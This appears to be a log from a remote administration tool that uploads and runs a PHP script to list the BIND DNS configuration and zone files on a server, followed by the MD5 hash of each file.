MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:22:16: Establishing a connection
2026-01-03 19:22:24: Establishing a connection
2026-01-03 19:22:24: 

PUT: /tmp/pkp927553

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:22:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp927553; rm /tmp/pkp927553'

2026-01-03 19:22:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
